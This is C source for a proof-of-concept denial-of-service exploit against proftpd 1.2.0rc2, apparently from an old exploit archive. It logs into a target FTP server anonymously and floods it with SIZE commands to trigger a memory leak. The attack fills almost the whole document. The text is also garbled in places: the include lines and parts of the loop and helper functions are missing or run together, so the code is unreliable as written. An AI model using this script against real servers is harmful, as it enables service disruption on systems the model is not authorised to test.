/* | Proftpd DoS | by Piotr Zurawski (szur@ix.renet.pl) | This source is just an example of memory leakage in proftpd-1.2.0(rc2) | server discovered by Wojciech Purczynski. | */ #include #include #include #include #include #include #include #include #include #include #include #include #include #define USERNAME "anonymous" #define PASSWORD "dupa@dupa.pl" #define HOWMANY 10000 void logintoftp(); void sendsizes(); int fd; struct in_addr host; unsigned short port = 21; int tcp_connect(struct in_addr addr,unsigned short port); int main(int argc, char **argv) { if (!resolve(argv[1],&host)) { fprintf(stderr,"Hostname lookup failure\n"); exit(0); } fd=tcp_connect(host,port); logintoftp(fd); printf("Logged\n"); sendsizes(fd); printf("Now check out memory usage of proftpd daemon"); printf("Resident set size (RSS) and virtual memory size (VSIZE)"); printf("fields in ps output"); } void logintoftp() { char snd[1024], rcv[1024]; int n; printf("Logging " USERNAME "/" PASSWORD "\r\n"); memset(snd, '\0', 1024); sprintf(snd, "USER %s\r\n", USERNAME); write(fd, snd, strlen(snd)); while((n=read(fd, rcv, sizeof(rcv))) > 0) { rcv[n] = 0; if(strchr(rcv, '\n') != NULL)break; } memset(snd, '\0', 1024); sprintf(snd, "PASS %s\r\n", PASSWORD); write(fd, snd, strlen(snd)); while((n=read(fd, rcv, sizeof(rcv))) > 0) { rcv[n] = 0; if(strchr(rcv, '\n') != NULL) break; } return; } void sendsizes() { char snd[1024], rcv[1024]; unsigned long loop; printf ("Sending %i size commands... \n", HOWMANY); for(loop=0;looph_addr,res->h_length); return(1); } /* www.hack.co.za [3 January 2001]*/